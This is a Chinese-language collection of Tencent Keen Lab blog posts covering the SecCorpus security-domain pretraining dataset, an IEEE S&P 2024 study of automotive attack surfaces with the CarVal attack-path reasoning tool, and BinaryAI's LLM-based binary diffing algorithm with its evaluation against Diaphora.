3.4. 数据质量过滤

数据质量进一步影响了模型最终的效果，参考CCNet[4]、GPT3[6]的方式，我们构建了两个安全文本质量判定模型综合筛选高质量的安全数据。文本质量判定模型基于FastText，使用书籍、启发式等方式筛选出高质量数据，以Common Crawl的数据作为低质量数据；同时，为了缓解分类器打分的偏置问题，我们训练了基于筛选后的高质量安全数据训练一个160m的模型，并在其他数据上计算PPL，辅助作为数据质量划分的依据。

为了快速验证数据质量过滤对模型效果的影响，我们随机选取了一个数据子集进行实验观察。首先从质量分数的分布上，我们观察到部分数据的质量较差，对这部分数据进行移除前后进行对比实验，发现在模型上可以带来约2%的提升。

3.5. 数据去重

我们主要参考了BigCode的文本去重方案[10]，在spark集群上进行全量去重，该方案使用了MinHash LSH和分布式的联通块算法，以移除文档间Jaccard距离小于常数阈值的文档。经过去重后，总计减少了10%的数据量，同时在多次数据配比实验中，整体训练过程中测试集困惑度都更低，再一次验证了去重的有效性。

4. 数据质量评测

在大模型项目从零到一的起步阶段，评测的重要性往往会被忽视。很多时候，收集完一批数据、模型训练完成、手工尝试几个问答后，就失去了方向，不知道下一步如何改进。

我们认为，一个优秀的评测体系可以衡量数据/模型的有效性，加速和指导研发过程，需要投入足够的精力进行建设，所以本章我们会详细介绍一个服务于 SecCorpus 安全领域数据构建的评测框架。

与以模型为主体的评测体系 (比如 SecBench) 不同，为了评估数据的质量, 我们构建了一个针对数据的评测体系，整体框架如下：

1. 确定单一的评测指标，要求尽量反映模型的安全能力
2. 在待评测的数据集上训练一个模型，通过模型的指标反映数据的质量，越高质量的数据理应使得模型达到更高的指标
   1. 为了避免开源基座模型的训练数据影响, 我们使用随机初始化的模型权重
   2. 在小参数量的模型上实验以提高效率
3. 通过实验结果，不断地优化数据处理流程；必要时也需要优化评测指标

4.1. 评测指标

评测体系的核心在于单一的评测指标。评测指标需要能够尽量反映模型的真实能力。

一个好的评测指标，应该具有以下特点：

1. 单一数值：方便进行直观的模型比较
2. 区分度：不同能力的模型的指标应该有明显差异
3. 稳定性：一些细微的扰动，不应该造成指标大幅波动
4. 自动化：不需要人力参与，就可以完成评测指标的计算
5. 可解释性：有明确的现实意义

另外需要注意的是，评测指标并不是一劳永逸的，我们在实验中，需要不断地思考并改进评测指标。

4.1.1. 网络安全认证考试选择题准确率

参考学术界通用的大模型通用能力评测 MMLU[11]，我们收集了一批安全认证考试和计算机软件资格考试的题目，采用和 MMLU 类似的 prompt 模板和 few-shot 设置，计算模型的答题准确率，从而评估模型对安全知识的掌握能力。

选择题准确率能够十分直观地反映模型对于安全知识的掌握程度，但是在使用过程中我们发现了一系列问题：

1. 答题准确率指标太过离散：每道题只有答对和答错两种情况，不够平滑，无法反映中间状态
2. 指标的方差太大：prompt 模板、few-shot 顺序甚至换行会造成好几个点的指标波动，混淆了训练数据的作用
3. 对于小模型难度太大：由于小模型的 few-shot 能力有限，选择题准确率常常会徘徊在 25% 的随机选择准确率附近，使得该指标失去了参考价值
4. 数据泄露：题目来自于公开互联网，可能无意被训练数据收录，无法起到客观评测的作用

考虑到这些问题，选择题准确率不适合继续作为评估数据质量的单一指标使用。

4.1.2. 安全语料困惑度

为了缓解答题准确率的问题，同时参考 Skywork[12] 的工作, 我们选择使用安全语料的困惑度 (PPL, Perplexity) 作为新的单一评测指标，其优点在于：

1. 困惑度是一个更平滑的指标，可以更精细地反映模型学习知识的中间状态
2. 困惑度的稳定性很好，少数几个 token 的变化不会造成很大的指标波动
3. 即使对于小模型，困惑度也能提供有意义的指标
4. 通过时间轴上的测试数据选择，可以严格地避免数据泄露问题

实际的构建流程为：

1. 收集一批出现时间在开源模型训练时间点之后的中英文安全语料，约 200 篇文章
2. 手工检查语料质量，制作成测试集
3. 利用现有开源模型计算困惑度，验证数据质量
4. 训练过程中计算困惑度来评估模型和数据质量

在之后的实验中，这个指标很好地满足了评测的需求，成为了我们比较挑选数据的标准。

4.2. Baseline

在评测指标确定后，按照机器学习项目的常规流程，首先需要确定一个 baseline，这样做的好处在于：

1. 可以通过 baseline 结果验证评测体系是否正常运作；如果出现过高或过低的指标，需要重新检查评测体系的实现是否存在问题，避免后续的实验失效，造成浪费
2. 作为之后实验的比较基准，方便控制变量检查新加入数据的质量

与常规的 baseline 设计不同，由于我们的评测体系是针对数据的，所以我们不仅设立了模型 baseline，还设计了数据 baseline。

4.2.1. 模型 baseline

根据 Scaling Laws，困惑度和模型参数量高度相关，考虑到大部分实验都是在小参数量的模型上进行的，我们挑选了同样小参数量的 GPT-2 [13]原版和中文版本, 得到该参数量下模型的典型困惑度。

4.2.2. 数据 baseline

模型 baseline 一般都会选用简单成熟的方法，而我们构建数据的目的是提高安全能力，因此我们采用了传统的 TF-IDF 方法, 在开源 WanJuan [14] 数据集上召回了一批安全相关语料，约有3B token。

通过人工检查，我们确认该方法产生的数据中的确包含了许多安全相关的语料，可以作为数据 baseline。之后我们用这批数据训练了 160m 参数量的 LLaMa [15]架构模型，得到了数据 baseline 对应的困惑度。

需要注意的是，这里使用了两个 GPT-2 模型计算困惑度，从参数量的角度是明显高于LLaMa 160m的，因此这是一个相当强的模型 baseline。

从 baseline 结果中我们可以初步确认：

1. 困惑度的取值在该参数量模型的正常范围内，指标计算没有问题
2. 数据 baseline 的困惑度高于模型 baseline，由于数据 baseline 的总数据量较少，符合预期

4.3. 实验结果

4.3.1. 数据消融实验

为了验证每个数据来源产生的数据是否有效，我们将其与数据 baseline 混合，重新训练模型，来验证新数据的有效性：

通过消融实验，我们发现提取出来的大部分安全相关数据都有助于降低困惑度，只有论文数据效果较差。经过分析，主要问题在于论文太过于专业，难度较高，而且数量较少，对于一个随机初始化的小模型反而产生了副作用。

4.3.2. 数据质量数量权衡

我们确定从通用数据中提取安全数据有效后，继续着手解决数据质量和数量的平衡问题。这个问题主要来自于提取过程中涉及到的一些超参数，控制得越松，产出的数据量越多，但是相对质量较差的数据也会被保留下来。这里就涉及到一个 trade-off 的问题，需要通过实验找到质量和数量的平衡点。

我们首先尝试了阈值截断的方式，在 Skypile[12] 安全语料中，按照文档质量评分筛选数据：

从实验结果来看，对于总数据量并不是很大的 Skypile，筛去低评分文档，反而会导致困惑度变高。所以对于数据量不多的来源，保数量优先于保质量。

接下来我们参考 GPT-3[6] 中的质量筛选方式 np.random.pareto(α) > 1 − document_score，通过在文档质量分数上通过 Pareto 分布采样。比起直接采用阈值截断的方式，这样可以在保留大部分高质量文档的同时，低评分文档也有被选用的概率，这样可以降低评分模型本身偏差带来的影响。超参数α越大，采样时会更加偏向于高质量文档。同时，我们也采用了数据量更加庞大的网页数据进行筛选：

这次实验中，我们看到了一个明显的平衡点，在剩余20%数据的时候，达到了最低的困惑度。所以对于数据量庞大的来源，优先保质量。

4.3.3. 数据配比

数据配比本身是一个变量非常多的问题，我们采取逐步加入数据源的方式，来保证整体的配比合理：

表格中数据括号表示该数据源与其他数据源的比例，整体数据都已去重。从实验中得到的结论是：

1. 数据多样性很重要，混合多种数据可以大幅降低困惑度
2. 适当地提高高质量数据权重可以进一步降低困惑度，但是需要注意不能重复太多次，否则会产生过拟合
3. 随着总数据量增加，可以适当增加总训练token数，也可以降低困惑度

综合所有技巧，我们得到了一份配比合理的训练集，可以在 30B token 的训练预算内，将安全语料困惑度降低到明显低于 baseline 的水平。

4.4. Takeaway

1. 评估数据质量需要先建立一个评测体系
2. 对于总量较少的数据源，优先增加数量；对于数量庞大的数据源，优先筛选质量
3. 混合数据时，去重很重要，高质量数据应该占比更多，但是不应该重复太多次（<10 epoch）

5. 总结

腾讯安全科恩实验室以数据为中心开展了安全垂直领域大模型的相关工作，并获得约20B中英文安全领域数据。最终在预训练实验、评估以及SecBench上验证了数据的有效性。为了促进网络安全领域大模型的发展，除了已发布的网络安全大模型评测平台SecBench，我们将在后续开源我们的SecCorpus数据清洗套件，敬请关注。如有安全语料数据合作和安全大模型业务需求，欢迎联系我们：KeenSecurityLab@tencent.com。

6. 参考文献

[1] 大模型在网络安全领域的应用市场洞察，2023：破土萌芽，未来充满无限想象 Doc Document number:# CHC51403423

[2] Google cloud security ai workbench generative ai. https://cloud.google.com/blog/products/identity-security/rsa-google-cloud-security-ai-workbench-generative-ai

[3] Microsoft Copilot for Security. https://www.microsoft.com/en-us/security/business/ai-machine-learning/microsoft-copilot-security

[4] Wenzek G, Lachaux M A, Conneau A, et al. CCNet: Extracting high quality monolingual datasets from web crawl data[J]. arXiv preprint arXiv:1911.00359, 2019.

[5] Adrien Barbaresi. 2021. Trafilatura: A Web Scraping Library and Command-Line Tool for Text Discovery and Extraction. In Proceedings of the 59th Annual Meeting of the Association for Computational Linguistics and the 11th International Joint Conference on Natural Language Processing: System Demonstrations, pages 122–131, Online. Association for Computational Linguistics.

[6] Mann B, Ryder N, Subbiah M, et al. Language models are few-shot learners[J]. arXiv preprint arXiv:2005.14165, 2020.

[7] https://github.com/wustho/epy

[8] https://github.com/matthewwithanm/python-markdownify

[9] https://npm.io/package/@unified-latex/unified-latex-cli

[10] Large-scale Near-deduplication Behind BigCode. https://huggingface.co/blog/dedup

[11] Hendrycks, Dan, Collin Burns, Steven Basart, Andy Zou, Mantas Mazeika, Dawn Song, and Jacob Steinhardt. “Measuring Massive Multitask Language Understanding.” arXiv, January 12, 2021. =

[12] Wei T, Zhao L, Zhang L, et al. Skywork: A more open bilingual foundation model[J]. arXiv preprint arXiv:2310.19341, 2023.

[13] Radford, Alec, Jeffrey Wu, Rewon Child, David Luan, Dario Amodei, and Ilya Sutskever. “Language Models Are Unsupervised Multitask Learners,” n.d.

[14] He, Conghui, Zhenjiang Jin, Chao Xu, Jiantao Qiu, Bin Wang, Wei Li, Hang Yan, Jiaqi Wang, and Dahua Lin. “WanJuan: A Comprehensive Multimodal Dataset for Advancing English and Chinese Large Models.” arXiv, September 15, 2023.

[15] Touvron, Hugo, Louis Martin, and Kevin Stone. “Llama 2: Open Foundation and Fine-Tuned Chat Models,” n.d.

[16] Yuan S, Zhao H, Du Z, et al. Wudaocorpora: A super large-scale chinese corpora for pre-training language models[J]. AI Open, 2021, 2: 65-68.

[17] Abadji J, Suarez P O, Romary L, et al. Towards a cleaner document-oriented multilingual crawled corpus[J]. arXiv preprint arXiv:2201.06642, 2022.

[18] Nguyen T, Van Nguyen C, Lai V D, et al. Culturax: A cleaned, enormous, and multilingual dataset for large language models in 167 languages[J]. arXiv preprint arXiv:2309.09400, 2023.

[19] SlimPajama: A 627B token, cleaned and deduplicated version of RedPajama. https://www.cerebras.net/blog/slimpajama-a-627b-token-cleaned-and-deduplicated-version-of-redpajama

[20] Large language model data pipelines and Common Crawl (WARC/WAT/WET). https://blog.christianperone.com/2023/06/appreciating-llms-data-pipelines/

背景与摘要

近年来，随着现代车辆技术的快速发展，网联汽车的攻击面（Attack Surface）和车载网络结构（In-Vehicle Network）都变得更加复杂。目前，已出台多项网联汽车信息安全标准，包括WP29 R155e、ISO 21434以及一系列国标，但这些刚出台标准与法规仍处于起步阶段，需要在摸索实践中直面各种挑战并不断完善。在这样的背景下，我们展开了如下的研究来重新审视现在的网联汽车信息安全：

• 我们通过深入访谈15位网联汽车信息安全专家，揭示了安全团队在保障车辆信息安全过程中遇到的挑战，以及现行规定的局限性：包括缺乏高质量的车载威胁案例信息库以及难以高效执行Threat Analysis & Risk Assessment （TARA）等。
• 基于现有的法规和收集的访谈数据，我们建立了一个新的层次化的网联汽车信息安全的威胁案例库，包括多达119条具体的车载威胁案例。同时我们提出一种新的基于Datalog的推理方法，可根据车载网络结构自动化推理攻击路径和计算对应的威胁分数。
• 以实车上的安全研究案例分析展示了自动化方法的有效性。

该研究由科恩实验室和香港理工大学罗夏朴教授团队及香港大学钱晨雄教授联合完成，且相关论文《Revisiting Automotive Attack Surfaces: a Practitioners’ Perspective》[1]已被安全领域四大顶会中的IEEE S&P 2024录用。

关于IEEE S&P会议。

IEEE S&P会议，全称IEEE Symposium on Security and Privacy，别名Oakland，是安全领域最具影响力的顶级学术会议之一。其常与USENIX Security, CCS, NDSS并称为安全领域的四大顶会。特别地，S&P由于其极高的录取要求和极低的论文录用率（常年低于15%），被公认为是安全领域含金量最高的会议。

Part.1: 访谈研究与新的威胁案例库

我们一共邀请了以下15位来自不同企业，处于不同职位的网联汽车信息安全专家参加访谈：

在访谈过程，研究人员与受访者开放性地深入探讨了：

• 执行信息安全活动中的具体挑战
• 对现有TARA方法的评估
• 对现有法规中威胁案例的评估
• 对现有法规局限性的讨论

具体来说，我们通过质性分析的方法，将结果总结成了20个Key Points（详见Code and Supplementary Materials[2]），同时提出用一种结构化的方法来描述现有的网联汽车安全威胁，并基于访谈收集的数据建立了一套新的威胁数据库：

新的威胁数据库包含了所有现有法规和标准中的威胁案例，以及所有从访谈研究中补充的案例。该数据库一共包含有119条具体的威胁案例，而这些案例层次化地分布在一共28个Code和7个Theme下。每一威胁案例都从Attack Description (AD), Root Cause (RC), Security Testing Approach (STA), 以及Mitigation (MG)几个方面具体展开。与现在法规中的案例相比（比如WP29 R155e的附录），我们提出的新威胁案例库[2]从数量和质量上都有十分显著的提升。

以下是以车机安全（In-Vehicle Infotainment）为例的部分内容：

Part.2: 自动化攻击路径推理

我们的访谈研究除了发现现有威胁案例的不足之外，还发现TARA流程往往是低效的，缺乏自动化的方法。相应的，我们提出了名为CarVal的基于Datalog的自动化的车载网络攻击路径推理方法：

CarVal将基于已有的威胁数据库（Vulnerability Set）以及车辆信息（Vehicle Configuration），并根据用户输入的攻击目标（Attack Goal）和攻击入口（Attack Entry），用Datalog的推理方法来自动化推理可能得攻击路径。此外，CarVal还将自动化地计算每条攻击路径的威胁值，实现自动化的威胁评估。

应用举例：下图一条由CarVal推理出的具体攻击路径，描述了攻击者能如何从IVI的Wi-Fi接口控制IVI，并进一步在车内网络的infoCAN上广播恶意消息。

CarVal基于IT网络的威胁推理工具MulVAL[3]开发。

Part.3: 实车漏洞分析

基于CarVal的自动推理方法，我们在多辆实车上进行了深入的安全分析，并发现了众多高危漏洞。以下将以其中一辆车为例展示分析流程。下图为该车辆的车内网络拓扑：

基于车辆拓扑信息，CarVal可自动化推理出从TCU到BCM的攻击路径：

通过对App远程车控逻辑的逆向分析，我们还原出了其中BLE车控的具体逻辑，并发现其中存在潜在的密钥泄露问题。攻击者可通过窃取的密钥，执行重放攻击来实现车控：

负责任的披露流程。所有实车上发现的漏洞都已经详细报告给相关人员且得到了合理修复。关于更多的实车分析流程，见论文原文[1]。

结语

现代车辆的复杂性以及网络安全威胁的不断演变为整个行业带来了持续的挑战，而为了促进网络安全文化并完善现有的标准和规定，汽车行业、监管机构和研究者都需要持续付出努力。
感谢所有参加访谈研究的专家，为本次研究中提出了大量高价值观点与建议。我们期望我们改进的威胁数据库和提出的自动化推理方法能助力规定完善，使TARA流程更加高效！

参考

[1] Paper link: https://www.computer.org/csdl/proceedings-article/sp/2024/313000a080/1RjEaOV6EQE
[2] Code and Supplementary Materials: https://github.com/VehicleCyberSec/CarVal
[3]MulVAL：GitHub - risksense/mulval: A logic-based enterprise network security analyzer

科恩智能网联汽车研究历程

Black Hat 2018议题解读|穿云拨雾：对特斯拉汽车网关、车身控制模块以及辅助驾驶(Autopilot)ECU的渗透测试
腾讯安全科恩实验室发布特斯拉Autopilot实验性安全研究成果
腾讯安全科恩实验室发布雷克萨斯汽车安全研究综述报告
在Tesla Model S上实现Wi-Fi协议栈漏洞的利用
腾讯安全科恩实验室：梅赛德斯-奔驰汽车信息安全研究综述报告
科恩实验室最新自动驾驶安全研究成果发布于安全顶会USENIX Security 2021-以人造扰动欺骗车道线检测系统
科恩嵌入式系统安全审计平台入选”2021工业信息安全优秀应用案例”！

科恩实验室自研二进制安全智能分析平台- BinaryAI技术分享：全新功能“二进制比对”的设计与实现。本文介绍了BinaryAI如何在大模型 BAI-2.0基础上叠加启发式算法，以函数粒度的语义匹配提高了复杂场景下二进制比对准确率及召回率。
体验地址：https://www.binaryai.cn

科恩实验室在2021年8月首次发布二进制安全智能分析平台—BinaryAI，BinaryAI可精准高效识别二进制文件的第三方组件及其版本号，旨在推动SCA（Software Composition Analysis，软件成分分析）技术在DevSecOps、威胁情报、安全研究等应用场景发展。

BinaryAI二进制比对功能亮相

二进制可执行文件比对是计算机安全的经典问题，通过比对两个二进制文件的异同，即使源代码不可用，也能够进行程序版本变更分析及第三方组件识别等任务。但现有工具大多依赖于人工选定的特征，对函数语义理解不足，在跨版本或优化级别的复杂场景下识别效果不佳。

科恩实验室凝聚多年“AI+算法”研究成果经验，推出函数相似度匹配模型 BAI-2.0（BinaryAI全新代码匹配模型BAI-2.0上线， “大模型”时代的安全实践），并在此基础上叠加启发式算法，实现了BinaryAI最新的二进制文件比对功能，以函数粒度的语义匹配提高了复杂场景下二进制比对准确率及召回率。

该功能底层比对算法代码现已开源，欢迎复现：https://github.com/binaryai/bindiffmatch
平台比对功能体验传送门：https://www.binaryai.cn/

四大使用场景

(1)比较新老版本软件功能变更
软件迭代代码变更有限，在面对新老版本时，可以迅速识别并排除相似的部分，从而集中精力在变更的函数上。
(2)识别组件库的使用情况及风险
分析大型程序时，处理集成的开源组件代码需要花费大量精力。手动构建带有符号信息的开源库程序，并借助二进制文件比对技术匹配函数以完成符号标注，可以快速理解程序的局部逻辑，形成对程序整体结构的认识，有助于进一步分析核心逻辑和组件可能引入的安全缺陷、许可证问题等。
(3)鉴定软件抄袭侵权
在无法获得源代码的场景下，通过二进制文件比对也可以判断待测程序是否与已知程序雷同，可以用于版权调查或者剽窃抄袭判定。
(4)分析恶意软件变体
同一家族的恶意软件在实现上会有一定的共同特征。通过二进制文件比对可以将相似的样本归类，有利于找到具有类似行为的恶意软件变体。

二进制比对相关工具及研究

目前工业界和学术界有大量针对二进制比对任务的工具及研究，几个有代表性的工作如下：

BinDiff

BinDiff[1]是zynamics团队开发的产品，可以和IDA、Ghidra、Binary Ninja工具结合使用，对两个二进制文件执行细粒度的比对。BinDiff采用的是基于图结构（控制流图和调用图）的匹配以及若干启发式特征匹配技术。截至目前，BinDiff的最新版本为2021年发布的7.0版本，其特征导出模块BinExport已经开源。

Diaphora

Diaphora[2]是一款流行的开源二进制比对工具，目前仍在积极维护中，最新版本为上月发布的3.0版本。其分析过程分为两个阶段，第一阶段：作为IDA Script运行，导出文件和函数的各种特征存入数据库；第二阶段：可以作为IDA Script运行或者离线运行，在导出的特征上运行各种策略（heuristics），最终生成完全匹配、部分匹配、无法匹配的函数列表。匹配结果导入IDA后，能够以函数、伪代码、汇编、调用图等多种粒度展示。
Diaphora的核心能力在于其策略，这些策略大多是基于人为选定的特征，用于判断单个函数的匹配性，例如”Same KOKA hash and constants”、”Same nodes, edges and strongly connected components”等。此外，Diaphora还包含少量实验性质的文件级别特征，例如“Call address sequence”等。

DEEPBINDIFF: Learning Program-Wide Code Representations for Binary Diffing

这是发表于2020年的论文[3]，特点是可以在整个二进制文件上执行基本块级别的比对。作者应用了机器学习自然语言处理技术，结合汇编指令和控制流图结构为每个基本块生成一个embedding向量，然后结合图结构，通过迭代寻找匹配的基本块。相比于先前的同类工作，DEEPBINDIFF取得了较大的效果提升，但缺点是它受编译条件影响较大，对于基本块和控制流结构敏感，对跨架构支持不足。

对以上工具/研究及BinaryAI最新比对算法进行简单的对比:

总的来说，目前现有的二进制比对工具/研究存在以下共性问题：
1.很大程度上依赖特征工程，这意味着人工介入较多。
2.在信息提取和嵌入方面主要关注汇编指令或控制流等低层次特征，对函数的语义逻辑体现不足。当架构、优化级别、版本相差过大时，将难以保证匹配效果。

比对功能算法设计

两个二进制函数是否匹配，应当以它们的逻辑是否相同来定义。然而，现有的很多工具主要基于传统特征工程来判断函数的相似度，例如基本块、指令序列、字符串等低层次语义特征或者控制流图等函数内的结构特征。这些方法在分析局部代码微小修改方面较为有效，但涉及到不同编译器、优化选项、指令架构等情况时，即使是同一份源码，低层次特征也可能存在巨大差异，从而导致难以准确匹配。此外，当匹配范围从单一函数扩展到整个二进制文件时，函数内部的细节特征对全局的直接影响较小，而函数自身的相似性以及函数间的关系等宏观特征变得更为重要。
基于上述分析，科恩实验室将函数作为匹配的最小单元，以函数的语义相似度作为基础，同时结合函数间的关系，实现了BinaryAI的二进制文件比对功能。

大模型生成向量体现语义级函数匹配

判定两个函数是否匹配，可以从语法形态和语义逻辑两个角度考虑。基于语法形态进行判定简单直接，例如只有当两个函数具有相同的语句序列或控制流图时才会判定为匹配，虽然此类特征容易提取，但是由于编译过程对语法结构进行了大量变换，只有很少的情况能够保证两个函数的语法形态特征完全匹配；
基于语义逻辑进行判定则更接近本质，只要两个函数的功能一致就认定为匹配。在实际应用中，基于语义逻辑匹配具有更高的应用价值，但是语义逻辑等价本身是一个不可判定问题。
常见的二进制比对工具（例如Diaphora）通常是预先提取若干人工选定的函数特征（例如某些特殊的指令序列），然后运行一些启发式策略判定函数是否匹配。这些策略大都基于一个假设：两个函数如果具有足够的可匹配语法形态特征，那么它们的语义逻辑应该也是一致的。然而，编译过程的不确定性会导致相同的语义逻辑有无数种可能的语法形态，这个假设很多时候是无法成立的，因此此类工具在复杂条件下进行语义匹配的表现并不理想。

但是，基于AI大模型，我们可以绕开这层假设，直接将函数的语义是否相似作为原始信息提供给模型做训练。依靠大模型强大的内在特征提取能力，经过学习后模型产生的输出就能够直接蕴含函数的语义信息。具体应用到比对任务时，两个输出的embedding向量之间的距离即可反映函数的语义相似性。

BinaryAI后台有持续更新的海量C/C++开源项目数据作为语料，在此基础上训练得到的BAI-2.0大模型生成的embedding向量能够很好地体现函数在真实场景下的语义，为BinaryAI二进制文件比对功能提供了基础能力。

大模型加持下的文件匹配

一个二进制文件可以看作多个函数的集合，文件匹配的目标是找出两个二进制文件中所有能够匹配的函数对。
在人工做函数匹配的过程中，通常需要在反编译器中打开两个文件，寻找具有明显特征的函数（例如带有特殊的字符串），如果它们的伪代码相似度也非常高，就先把它们标记为初始匹配。然后，从已经标记的函数开始，观察它们调用或被其他函数调用的情况，可以认为这些函数也是大概率匹配的。最后，剩余的函数需要依靠人工判断，是一个比较困难的任务。
整个过程结合了函数自身的相似性以及函数之间的关联关系。由于人工判断函数的相似性是一个比较困难的任务，所以第一阶段能找到的初始匹配往往很少或存在错误，这会阻碍第二阶段利用函数关系找到更多扩散匹配，并进一步导致第三阶段剩余更多难以判断的函数。
BinaryAI的二进制文件比对功能在流程上与人工匹配的过程相似，同样分为初始匹配、扩散匹配、剩余匹配三个阶段。

(1)初始匹配

依靠BAI-2.0模型的embedding能力，我们可以为每个二进制函数生成一个向量作为函数特征的表征，通过直接使用两个向量间的余弦相似度即可判断两个函数之间的相似性。
在初始匹配阶段，需要保证高准确性的前提下尽可能找出更多的匹配函数。然而，简单的贪心策略容易出现重复选取和漏选的情况。因此，我们采用全局视角，将其转换为完全二分图的最大匹配问题。完全二分图的两组节点分别为两个文件的所有函数，边的权值为两个函数的向量余弦相似度。这可以确保匹配结果中不存在重复的函数，并且让相似度不是最高的函数也有机会被选中。
获得完全二分图的最大匹配之后，需要进行进一步的筛选。其中，筛选条件之一是两个函数必须都是有效函数，导入表、导出表、Thunk等包装函数以及过于简短的普通函数都被视为无效函数。筛选条件之二是相似度大于阈值。此阈值应设定为较高的值，以确保第二阶段的需要。筛选需要放在最后进行，这样二分图匹配才能具有一个文件的全局视角。

(2)扩散匹配

第一阶段只利用了函数自身的相似性找到置信度最高的匹配。第二阶段则利用一个文件内函数间的关系，继续扩展第一阶段的匹配结果集合。
一个二进制文件由多个函数组成，函数虚拟地址的排布顺序构成了位置关系， 函数之间的相互调用构成了调用关系。这两种关系在二进制文件比对中有重要作用。
调用关系的作用基于一个假设：如果两个函数逻辑相同，那么它们往往具有相近的数据流和控制流，甚至源代码实现可能也比较接近，它们各自调用的其他函数也大致相同。位置关系的作用基于一个现象：一个源代码文件作为一个独立的构建单元，其中的函数在二进制文件中通常会聚集并保持顺序。
实际情况下，位置关系的作用是否成立非常依赖于编译器的具体行为，例如，如果开启了链接时优化，编译器可以对函数做全局重排；同时，函数内联或者隐式生成的函数都会打破位置关系的假设等；这使得位置关系在跨编译器等更广泛的二进制比对场景中更难被利用。相比之下，调用关系主要基于函数逻辑假设，且二进制比对场景的两个输入文件通常会有相关性，因此调用关系相比位置关系更加稳定，适用范围更广。
所以，本阶段主要基于函数间的调用关系：以第一阶段的结果为中心，对每一对匹配的函数，找到它们各自在函数调用图上邻近的节点，在这两组节点中寻找最大二分图匹配，过滤掉相似度过低或无效的函数作为新的一轮结果。然后，以上一轮的匹配结果为新的中心，重复此过程，继续沿着调用图继续扩散寻找新的匹配节点，直到无法找到更多匹配为止。

(3)剩余匹配

在前两阶段完成之后，第三阶段将在剩余的未匹配函数上再次进行二分图最大匹配。由于剩余函数集合规模远小于全集，因此可以应用比第一阶段更宽松的相似度阈值进行过滤，这一阶段作为对前两阶段的补充，旨在提高整体的召回率。

下图是三个阶段的简单示例：假设两个文件各有三个函数，初始时两两之间的相似度分数已知。

• 第一阶段全部函数都参与匹配，初始匹配结束后，只有两边的func1由于相似度分数非常高满足过滤条件被保留；
• 第二阶段只在func1调用图上的邻近函数之间寻找匹配，因此选定了两边func2作为匹配，由于没有更多与func2调用关系邻近的函数，第二阶段结束；
• 第三阶段只在前两个阶段都没有选中的函数之间寻找匹配，最终召回了两边的func3匹配；
  

比对功能算法评测结果

数据集

统计评测数据集：选用DEEPBINDIFF论文的数据集[3]，即coreutils、findutils、diffutils三个library，每个library分别在若干个不同版本、每个版本在不同的优化级别下编译，并去除符号表；然后，按照”相同library+不同版本+相同优化级别”和“相同library+相同版本+不同优化级别”分为两组，每组对同名的二进制文件做比对。
样例评测数据集：选用openssl库作为样例，分别选择1.1.1u版本以O0优化级别编译为arm架构、3.1.1版本以O3优化级别编译为x64架构，并去除符号表，将产出的openssl可执行文件做比对。openssl作为最成熟的加密算法库之一在各类项目中被广泛应用，而且不同环境下使用的版本、编译选项、指令集架构等有显著差异，这为二进制文件比对任务带来了更大的挑战。

评测指标

本文将以下三类函数定义为无效函数：
(1) 无法被Ghidra正常反编译的函数（即使出现在函数表中）
(2) Thunk函数（无实际功能，只转移控制流到另一个函数）或者指向导入表的外部函数
(3) 反编译后伪代码行数小于等于7行的小函数（因为这些函数通常不会引起人们的过多关注，且它们包含的特征往往不足以做出有效的区分）
对于先前构造的groundtruth中的匹配，只有两个函数都是有效函数时才计入groundtruth_matches集合，作为后续统计的总量。
对于待测工具输出的匹配，如果两个函数都是有效函数且属于groundtruth_matches集合，则是正确的匹配，记为correct_matches集合；如果两个函数都是有效函数但不属于groundtruth_matches集合，则视为明确错误的匹配，记为wrong_matches集合；如果任何一个函数属于无效函数，则忽略此匹配结果，不计入正确或错误的统计。

基于上述定义，评测采用三个数值指标：precision、recall、F1
precision：准确率

recall：召回率

F1：precison和recall的调和平均

数据预处理

(1) groundtruth的构建

当某个库选入测试集后，首先对源代码修改编译选项以在构建产物中保留符号表，然后正常运行构建流程，得到原始的构建产物；然后对二进制文件进行符号剥离，得到对应的无符号二进制文件；下一步，将剥离前后的两个文件分别传入Ghidra反编译器，导出各自的函数列表文档；最后，从有符号二进制文件的文档中提取函数名，补充到无符号二进制文件的文档中。
后续进行任何比对都只在剥离符号的文件中进行，使实验更贴近真实场景，且避免比对工具利用函数名做辅助判断。做不同文件比对时，只要函数名称相同就标注为匹配。因为函数名通常是对函数功能的概述，相同名称的函数即使源代码不同，语义逻辑大概率也是相近的。

(2) Diaphora匹配结果的构建

使用IDA Script加载Diaphora，评测时只额外开启relaxed_ratio选项，其他保持预设的默认值。因为比对任务的目标是找出匹配的函数，因此函数自身的微小改动不会被当做首要关注点。
构建过程分为三步。
1、使用IDA headless mode加载Diaphora script导出其特征sqlite文件；
2、使用离线Diaphora script对两个sqlite生成Diaphora匹配结果文件；
3、将结果文件转换为统一格式；
本文的测试数据使用IDA7.5+Diaphora3.0生成。

(3) BinaryAI二进制文件比对算法匹配结果的构建

需要额外调用BAI-2.0模型为每个函数生成embedding向量，BinaryAI开源仓库 中已包含此数据。

评测结果

(1) 统计评测：coreutils、findutils、diffutils，cross-version和cross-optimization-level汇总（去除符号）

(2) 样例评测[4]，openssl-1.1.1u-gcc_arm_O0-openssl.strip和openssl-3.1.1-gcc_x64_O3-openssl.strip （去除符号）

下图分别是Diaphora和BinaryAI对这两个文件的部分匹配结果（注：为便于直观判定匹配的准确性，图示结果使用了保留符号的二进制文件，并在Diaphora的配置中选中”Ignore all function names”、”Relaxed calculations of different ratios”以及”Use slow heuristics”），可以看出Diaphora的匹配结果中函数名存在不一致的问题，即产生了误报。

通过两组评测可以总结出，以大模型BAI-2.0 embedding为基础能力的BinaryAI表现较稳定，优于Diaphora。

总结

二进制文件比对在实际场景下具有重要的应用价值。现有工具无论是基于传统的启发式特征工程还是汇编语句级别的机器学习模型，在识别的准确率、召回率方面都尚未达到理想的状态。
科恩实验室多年来旨在实现各类技术的纵深融合，BinaryAI作为科恩将AI赋能安全的应用实践，本次依托自研BAI-2.0大模型，着重于语义匹配，实现了二进制文件比对更为优秀的解决方案。在处理跨架构、版本、优化级别等复杂场景下，能够取得更好的评测效果。
目前，BinaryAI的二进制比对功能已经全面发布。欢迎各位前往 https://binaryai.cn/选择“自定义比对功能“开启体验。此外，如有复现评测结果需求，请前往BinaryAI官方仓库https://github.com/binaryai/bindiffmatch获取相关资源。

更多业务体验

BinaryAI的算法引擎核心能力已同步落地应用于腾讯安全多款产品，包括：

• 腾讯云二进制软件成分分析BSCA ，限时包月免费活动进行中
• 腾讯威胁情报 TIX
• 腾讯主机安全云镜
  除此之外，科恩实验室始终以积极的姿态探索软件安全领域和前沿AI结合的科研落地，推动成果转化以解决产业痛点问题。

加入用户群

微信扫码或搜索并添加“keenlab”为好友
发送“BinaryAI交流群”获得入群链接

Reference

